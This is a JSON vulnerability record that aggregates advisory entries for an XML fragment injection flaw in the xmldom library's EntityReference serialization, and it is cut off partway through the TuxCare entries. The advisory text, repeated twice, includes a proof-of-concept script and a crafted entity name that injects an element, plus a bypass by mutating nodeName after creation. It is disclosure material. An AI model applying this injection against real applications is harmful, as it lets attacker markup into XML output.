{"id":"CVE-2026-83610","aliases":["AZL-99339","CLSA-2026-1788561202","CLSA-2026-1790608669","CLSA-2026-1790755546","CLSA-2026-1791192659","DEBIAN-CVE-2026-83610","EUVD-2026-69222","GHSA-6gmq-8vp8-gcm6","UBUNTU-CVE-2026-83610"],"status":"published","title":"xmldom: XML fragment injection via invalid EntityReference.nodeName during requireWellFormed serialization","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0059,"percentile":0.48698,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116"],"published":"2026-09-01T14:31:49Z","modified":"2026-11-11T02:49:06Z","fixes":[{"ecosystem":"npm","package":"@xmldom/xmldom","fixed_in":["0.8.15","0.9.12"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"xmldom","fixed_in":["0.1.31-tuxcare.4"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-xmldom","fixed_in":["0.9.12-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0"},{"last_affected":"0.8.14"},{"fixed":"0.8.15"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.0"},{"last_affected":"0.9.11"},{"fixed":"0.9.12"}]}]},{"source":"ghsa","ecosystem":"npm","package":"xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.6.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.31-tuxcare.0"},{"fixed":"0.1.31-tuxcare.4"}]}],"versions":["0.1.31","0.1.31-tuxcare.1","0.1.31-tuxcare.2","0.1.31-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.10-tuxcare.0"},{"fixed":"0.9.10-tuxcare.1"}]}],"versions":["0.9.10"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.13-tuxcare.0"},{"fixed":"0.7.13-tuxcare.1"}]}],"versions":["0.7.13"],"bundled":14},{"source":"osv","ecosystem":"TuxCare:npm","package":"@xmldom/xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.8-tuxcare.0"},{"fixed":"0.9.8-tuxcare.2"}]}],"versions":["0.9.8","0.9.8-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.6-1","0.9.10-1","0.9.10-2","0.9.11-1","0.9.12-1","0.9.5-1","0.9.6-1","0.9.8-1","0.9.8-2","0.9.9-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.10-1","0.9.10-2","0.9.11-1","0.9.12-1","0.9.6-1","0.9.8-1","0.9.8-2","0.9.9-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.12-1"}]}],"versions":["0.9.10-1","0.9.10-2","0.9.11-1","0.9.6-1","0.9.8-1","0.9.8-2","0.9.9-1"]},{"source":"osv","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.8.15"}]}]},{"source":"osv","ecosystem":"npm","package":"@xmldom/xmldom","ranges":[{"type":"SEMVER","events":[{"introduced":"0.9.0"},{"fixed":"0.9.12"}]}]},{"source":"osv","ecosystem":"npm","package":"xmldom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.6.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.27+ds-1","0.1.27+ds-1+deb10u2build0.20.04.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.0-1","0.7.3-1","0.7.5-1","0.7.5-1ubuntu0.22.04.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.8-2","0.9.10-2","0.9.11-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-xmldom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.6-1","0.9.8-1","0.9.8-2"]}],"products":[{"vendor":"@xmldom","product":"xmldom"},{"vendor":"xmldom","product":"xmldom"}],"references":[{"url":"https://github.com/xmldom/xmldom/security/advisories/GHSA-6gmq-8vp8-gcm6","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/xmldom/xmldom/pull/1071","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/xmldom/xmldom/pull/1072","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/xmldom/xmldom/commit/4664386e4f4d99d17b416a151dbe8323e245284b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/xmldom/xmldom/commit/6c3fb5ffeafe7901ec928ce9010988dd716c94a0","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/xmldom/xmldom/releases/tag/0.8.15","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/xmldom/xmldom/releases/tag/0.9.12","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83610","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-6gmq-8vp8-gcm6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/83xxx/CVE-2026-83610.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-83610","tags":["advisory"]},{"url":"https://github.com/xmldom/xmldom","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-83610","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-83610","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-83610","title":"xmldom: XML fragment injection via invalid EntityReference.nodeName during requireWellFormed serialization","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T14:31:49.409Z","modified":"2026-09-03T16:00:03.283Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T13:44:51.734189Z"}],"euvd":[{"id":"EUVD-2026-69222","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T14:31:49Z","modified":"2026-09-03T16:00:03Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:13.671159Z"}],"ghsa":[{"id":"GHSA-6gmq-8vp8-gcm6","title":"xmldom: XML fragment injection via invalid EntityReference.nodeName during requireWellFormed serialization","description":"## Summary\n\nAn `EntityReference` node can be created with an invalid, attacker-controlled name through `Document.createEntityReference(name)`. When this node is serialized directly with:\n\n```js\nserializer.serializeToString(ref, { requireWellFormed: true })\n```\n\nthe invalid `nodeName` is emitted into the serialized XML fragment without validation or escaping.\n\nThis can produce real XML markup in the serialized output. In the proof of concept below, the serialized fragment contains `\u003cinjected/\u003e`, and reparsing the fragment creates a real `injected` element.\n\n---\n\n## Details\n\nThe issue appears to be in the serialization path for `ENTITY_REFERENCE_NODE`.\n\nFor several other node types, `requireWellFormed: true` performs specific validation checks before serialization. For example, comments, processing instructions, document types, and some character data cases are checked before being emitted.\n\nHowever, for `ENTITY_REFERENCE_NODE`, the serializer appears to emit the node name directly in entity reference form:\n\n```js\ncase ENTITY_REFERENCE_NODE:\n  buf.push('\u0026', n.nodeName, ';');\n  return null;\n```\n\nAs a result, if `nodeName` contains characters that break out of the intended `\u0026name;` structure, the serializer can emit additional XML markup.\n\nFor example, an entity reference created with the name:\n\n```text\nsafe; \u003cinjected/\u003e \u0026x\n```\n\nis serialized as:\n\n```xml\n\u0026safe; \u003cinjected/\u003e \u0026x;\n```\n\nWhen this fragment is later parsed in an XML context, `\u003cinjected/\u003e` becomes a real element.\n\nThis is especially surprising when `{ requireWellFormed: true }` is used, because applications may reasonably treat this mode as the stricter or safer XML serialization mode.\n\n---\n\n## Proof of Concept\n\nTested with:\n\n```text\n@xmldom/xmldom@0.9.10\nNode.js v24.18.0\nWindows 10 / PowerShell\n```\n\n```js\n'use strict';\n\nconst { DOMImplementation, XMLSerializer, DOMParser } = require('@xmldom/xmldom');\n\nconst impl = new DOMImplementation();\nconst doc = impl.createDocument(null, 'root', null);\nconst serializer = new XMLSerializer();\n\nfunction countInjected(fragment) {\n  try {\n    const parsed = new DOMParser().parseFromString(`\u003croot\u003e${fragment}\u003c/root\u003e`, 'application/xml');\n    return parsed.getElementsByTagName('injected').length;\n  } catch (e) {\n    return `PARSE_THROW ${e.name}: ${e.message}`;\n  }\n}\n\nfor (const name of [\n  'safe',\n  'safe; \u003cinjected/\u003e \u0026x',\n  'x\u003cinjected',\n  'x y'\n]) {\n  try {\n    const ref = doc.createEntityReference(name);\n    const xml = serializer.serializeToString(ref, { requireWellFormed: true });\n\n    console.log(`[SERIALIZED] ${JSON.stringify(name)}: ${xml}`);\n    console.log(`[INJECTED_COUNT] ${JSON.stringify(name)}: ${countInjected(xml)}`);\n  } catch (e) {\n    console.log(`[THROW] ${JSON.stringify(name)}: ${e.name}: ${e.message}`);\n  }\n}\n```\n\nObserved output:\n\n```text\n[SERIALIZED] \"safe\": \u0026safe;\n[INJECTED_COUNT] \"safe\": 0\n\n[SERIALIZED] \"safe; \u003cinjected/\u003e \u0026x\": \u0026safe; \u003cinjected/\u003e \u0026x;\n[INJECTED_COUNT] \"safe; \u003cinjected/\u003e \u0026x\": 1\n\n[SERIALIZED] \"x\u003cinjected\": \u0026x\u003cinjected;\n[INJECTED_COUNT] \"x\u003cinjected\": 0\n\n[SERIALIZED] \"x y\": \u0026x y;\n[INJECTED_COUNT] \"x y\": 0\n```\n\n---\n\n## Impact\n\nAn application that creates an `EntityReference` from attacker-controlled input and then serializes that node or XML fragment with `requireWellFormed: true` may produce XML containing attacker-controlled markup.\n\nThe impact is limited by two observations:\n\n1. The parser does not create `EntityReference` nodes from ordinary XML entity references.\n2. Appending an `EntityReference` node as an element child is rejected with a `HierarchyRequestError`.\n\nThe main affected scenario is applications that directly use `createEntityReference(name)` and then serialize the resulting node or fragment.\n\n## Fix Applied\n\nTwo complementary, non-breaking fixes.\n(1) `document.createEntityReference(name)` rejects an invalid `Name` at creation, closing the reachable creation vector by default — the opt-in serializer check alone cannot, since a later `nodeName` mutation would bypass a creation-only guard.\n(2) Under `requireWellFormed`, the serializer validates the `EntityReference` `nodeName` as a well-formed XML `Name` and throws `InvalidStateError` when it is not; a valid reference still serializes as `\u0026name;`. Both ship on both maintained versions. The `EntityReference` / `createEntityReference` docs note that under `requireWellFormed` the `nodeName` is validated as an XML `Name`, and that xmldom does not expand entities. See the [XML `Name` production](https://www.w3.org/TR/xml/#NT-Name).\n\u003e **⚠ Opt-in required.** Protection is not automatic. Existing serialization calls remain\n\u003e vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that\n\u003e serialize untrusted DOM content should audit all `serializeToString()` call sites and add it.\n\n### Proof of Concept - fixed path\n\n```js\n'use strict';\n\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\n\nconst impl = new DOMImplementation();\nconst doc = impl.createDocument(null, 'root', null);\nconst serializer = new XMLSerializer();\n\n// Creation-time anchor (applied by default): an invalid XML Name is rejected at creation.\ntry {\n  doc.createEntityReference('safe; \u003cinjected/\u003e \u0026x');\n} catch (e) {\n  console.log(`${e.name}`); // rejected at creation\n}\n\n// Default path (requireWellFormed omitted): because creation now rejects an ill-formed name,\n// an ill-formed nodeName is only reachable via a post-creation mutation — and is emitted verbatim.\nconst ref = doc.createEntityReference('safe');\nref.nodeName = 'safe; \u003cinjected/\u003e \u0026x';\nconsole.log(serializer.serializeToString(ref));\n// -\u003e \u0026safe; \u003cinjected/\u003e \u0026x;   (injection present on the default path)\n\n// Opt-in path: throws on the invalid nodeName.\ntry {\n  serializer.serializeToString(ref, { requireWellFormed: true });\n} catch (e) {\n  console.log(`${e.name}`); // InvalidStateError\n}\n\n// A valid name still serializes as \u0026name; under requireWellFormed.\nconst ok = doc.createEntityReference('valid');\nconsole.log(serializer.serializeToString(ok, { requireWellFormed: true }));\n// -\u003e \u0026valid;\n```\n\n### Why the default stays verbatim\n\nThe creation-time anchor is applied by default, because it is classified non-breaking. The serializer check, by contrast, stays gated behind `{ requireWellFormed: true }`: W3C DOM Parsing's require-well-formed flag defaults to `false`, and the browser `XMLSerializer` emits the `nodeName` verbatim in that default mode, so unconditionally throwing for an ill-formed `EntityReference.nodeName` would be an unjustified breaking change — which is why the default serialization path stays verbatim.\n\n### Residual limitation\n\nThe creation vector is closed by default — the non-breaking creation-time anchor — with no further deferred work. The residual is at serialization: the default path still emits an ill-formed `nodeName` verbatim, because the serializer check is opt-in via `{ requireWellFormed: true }`.","status":"published","published":"2026-09-02T15:18:20Z","modified":"2026-09-02T15:18:21Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:41:10.121131Z"}],"nvd":[{"id":"CVE-2026-83610","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:39.107Z","modified":"2026-09-08T21:11:31.703Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:12:43.04945Z"}],"osv":[{"id":"CVE-2026-83610","title":"xmldom: XML fragment injection via invalid EntityReference.nodeName during requireWellFormed serialization","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T14:31:49.409Z","modified":"2026-11-11T02:49:06.535132141Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-11T03:21:16.313764Z"},{"id":"DEBIAN-CVE-2026-83610","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:39.107Z","modified":"2026-10-01T03:03:37.37542876Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:46:04.577397Z"},{"id":"GHSA-6gmq-8vp8-gcm6","title":"xmldom: XML fragment injection via invalid EntityReference.nodeName during requireWellFormed serialization","description":"## Summary\n\nAn `EntityReference` node can be created with an invalid, attacker-controlled name through `Document.createEntityReference(name)`. When this node is serialized directly with:\n\n```js\nserializer.serializeToString(ref, { requireWellFormed: true })\n```\n\nthe invalid `nodeName` is emitted into the serialized XML fragment without validation or escaping.\n\nThis can produce real XML markup in the serialized output. In the proof of concept below, the serialized fragment contains `\u003cinjected/\u003e`, and reparsing the fragment creates a real `injected` element.\n\n---\n\n## Details\n\nThe issue appears to be in the serialization path for `ENTITY_REFERENCE_NODE`.\n\nFor several other node types, `requireWellFormed: true` performs specific validation checks before serialization. For example, comments, processing instructions, document types, and some character data cases are checked before being emitted.\n\nHowever, for `ENTITY_REFERENCE_NODE`, the serializer appears to emit the node name directly in entity reference form:\n\n```js\ncase ENTITY_REFERENCE_NODE:\n  buf.push('\u0026', n.nodeName, ';');\n  return null;\n```\n\nAs a result, if `nodeName` contains characters that break out of the intended `\u0026name;` structure, the serializer can emit additional XML markup.\n\nFor example, an entity reference created with the name:\n\n```text\nsafe; \u003cinjected/\u003e \u0026x\n```\n\nis serialized as:\n\n```xml\n\u0026safe; \u003cinjected/\u003e \u0026x;\n```\n\nWhen this fragment is later parsed in an XML context, `\u003cinjected/\u003e` becomes a real element.\n\nThis is especially surprising when `{ requireWellFormed: true }` is used, because applications may reasonably treat this mode as the stricter or safer XML serialization mode.\n\n---\n\n## Proof of Concept\n\nTested with:\n\n```text\n@xmldom/xmldom@0.9.10\nNode.js v24.18.0\nWindows 10 / PowerShell\n```\n\n```js\n'use strict';\n\nconst { DOMImplementation, XMLSerializer, DOMParser } = require('@xmldom/xmldom');\n\nconst impl = new DOMImplementation();\nconst doc = impl.createDocument(null, 'root', null);\nconst serializer = new XMLSerializer();\n\nfunction countInjected(fragment) {\n  try {\n    const parsed = new DOMParser().parseFromString(`\u003croot\u003e${fragment}\u003c/root\u003e`, 'application/xml');\n    return parsed.getElementsByTagName('injected').length;\n  } catch (e) {\n    return `PARSE_THROW ${e.name}: ${e.message}`;\n  }\n}\n\nfor (const name of [\n  'safe',\n  'safe; \u003cinjected/\u003e \u0026x',\n  'x\u003cinjected',\n  'x y'\n]) {\n  try {\n    const ref = doc.createEntityReference(name);\n    const xml = serializer.serializeToString(ref, { requireWellFormed: true });\n\n    console.log(`[SERIALIZED] ${JSON.stringify(name)}: ${xml}`);\n    console.log(`[INJECTED_COUNT] ${JSON.stringify(name)}: ${countInjected(xml)}`);\n  } catch (e) {\n    console.log(`[THROW] ${JSON.stringify(name)}: ${e.name}: ${e.message}`);\n  }\n}\n```\n\nObserved output:\n\n```text\n[SERIALIZED] \"safe\": \u0026safe;\n[INJECTED_COUNT] \"safe\": 0\n\n[SERIALIZED] \"safe; \u003cinjected/\u003e \u0026x\": \u0026safe; \u003cinjected/\u003e \u0026x;\n[INJECTED_COUNT] \"safe; \u003cinjected/\u003e \u0026x\": 1\n\n[SERIALIZED] \"x\u003cinjected\": \u0026x\u003cinjected;\n[INJECTED_COUNT] \"x\u003cinjected\": 0\n\n[SERIALIZED] \"x y\": \u0026x y;\n[INJECTED_COUNT] \"x y\": 0\n```\n\n---\n\n## Impact\n\nAn application that creates an `EntityReference` from attacker-controlled input and then serializes that node or XML fragment with `requireWellFormed: true` may produce XML containing attacker-controlled markup.\n\nThe impact is limited by two observations:\n\n1. The parser does not create `EntityReference` nodes from ordinary XML entity references.\n2. Appending an `EntityReference` node as an element child is rejected with a `HierarchyRequestError`.\n\nThe main affected scenario is applications that directly use `createEntityReference(name)` and then serialize the resulting node or fragment.\n\n## Fix Applied\n\nTwo complementary, non-breaking fixes.\n(1) `document.createEntityReference(name)` rejects an invalid `Name` at creation, closing the reachable creation vector by default — the opt-in serializer check alone cannot, since a later `nodeName` mutation would bypass a creation-only guard.\n(2) Under `requireWellFormed`, the serializer validates the `EntityReference` `nodeName` as a well-formed XML `Name` and throws `InvalidStateError` when it is not; a valid reference still serializes as `\u0026name;`. Both ship on both maintained versions. The `EntityReference` / `createEntityReference` docs note that under `requireWellFormed` the `nodeName` is validated as an XML `Name`, and that xmldom does not expand entities. See the [XML `Name` production](https://www.w3.org/TR/xml/#NT-Name).\n\u003e **⚠ Opt-in required.** Protection is not automatic. Existing serialization calls remain\n\u003e vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that\n\u003e serialize untrusted DOM content should audit all `serializeToString()` call sites and add it.\n\n### Proof of Concept - fixed path\n\n```js\n'use strict';\n\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\n\nconst impl = new DOMImplementation();\nconst doc = impl.createDocument(null, 'root', null);\nconst serializer = new XMLSerializer();\n\n// Creation-time anchor (applied by default): an invalid XML Name is rejected at creation.\ntry {\n  doc.createEntityReference('safe; \u003cinjected/\u003e \u0026x');\n} catch (e) {\n  console.log(`${e.name}`); // rejected at creation\n}\n\n// Default path (requireWellFormed omitted): because creation now rejects an ill-formed name,\n// an ill-formed nodeName is only reachable via a post-creation mutation — and is emitted verbatim.\nconst ref = doc.createEntityReference('safe');\nref.nodeName = 'safe; \u003cinjected/\u003e \u0026x';\nconsole.log(serializer.serializeToString(ref));\n// -\u003e \u0026safe; \u003cinjected/\u003e \u0026x;   (injection present on the default path)\n\n// Opt-in path: throws on the invalid nodeName.\ntry {\n  serializer.serializeToString(ref, { requireWellFormed: true });\n} catch (e) {\n  console.log(`${e.name}`); // InvalidStateError\n}\n\n// A valid name still serializes as \u0026name; under requireWellFormed.\nconst ok = doc.createEntityReference('valid');\nconsole.log(serializer.serializeToString(ok, { requireWellFormed: true }));\n// -\u003e \u0026valid;\n```\n\n### Why the default stays verbatim\n\nThe creation-time anchor is applied by default, because it is classified non-breaking. The serializer check, by contrast, stays gated behind `{ requireWellFormed: true }`: W3C DOM Parsing's require-well-formed flag defaults to `false`, and the browser `XMLSerializer` emits the `nodeName` verbatim in that default mode, so unconditionally throwing for an ill-formed `EntityReference.nodeName` would be an unjustified breaking change — which is why the default serialization path stays verbatim.\n\n### Residual limitation\n\nThe creation vector is closed by default — the non-breaking creation-time anchor — with no further deferred work. The residual is at serialization: the default path still emits an ill-formed `nodeName` verbatim, because the serializer check is opt-in via `{ requireWellFormed: true }`.","status":"published","published":"2026-09-02T15:18:20Z","modified":"2026-09-10T03:51:15.231037753Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"UBUNTU-CVE-2026-83610","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:00Z","modified":"2026-10-17T13:01:12.155437314Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:57:22.213888Z"},{"id":"AZL-99339","title":"CVE-2026-83610 affecting package python-tensorboard 2.16.2-6","description":"xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createEntityReference(name) accepts an invalid name and the ENTITY_REFERENCE_NODE serializer emits the resulting nodeName directly in \u0026name; form. Directly serializing the node or fragment with XMLSerializer.serializeToString() and requireWellFormed: true can therefore break the entity-reference boundary and produce attacker-controlled XML markup when reparsed. The parser does not ordinarily create these nodes, and element-child insertion is rejected, so exploitation requires an application to create and directly serialize an EntityReference. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:39Z","modified":"2026-09-08T05:27:28Z","updated_at":"2026-11-02T15:28:12.596039Z"},{"id":"CLSA-2026-1788561202","title":"TuxCare security update for xmldom (1 CVE)","description":"TuxCare rebuilt xmldom to address 1 CVE. Fixed in 0.1.31-tuxcare.4.","status":"published","published":"2026-09-04T22:33:22Z","modified":"2026-10-15T09:48:03.105852282Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790608669","title":"TuxCare security update for @xmldom/xmldom (9 CVEs)","description":"TuxCare rebuilt @xmldom/xmldom to address 9 CVEs. Fixed in 0.9.10-tuxcare.1.","status":"published","published":"2026-09-28T15:17:49Z","modified":"2026-10-15T09:47:38.560737529Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790755546","title":"TuxCare security update for @xmldom/xmldom (14 CVEs)","description":"TuxCare rebuilt @xmldom/xmldom to address 14 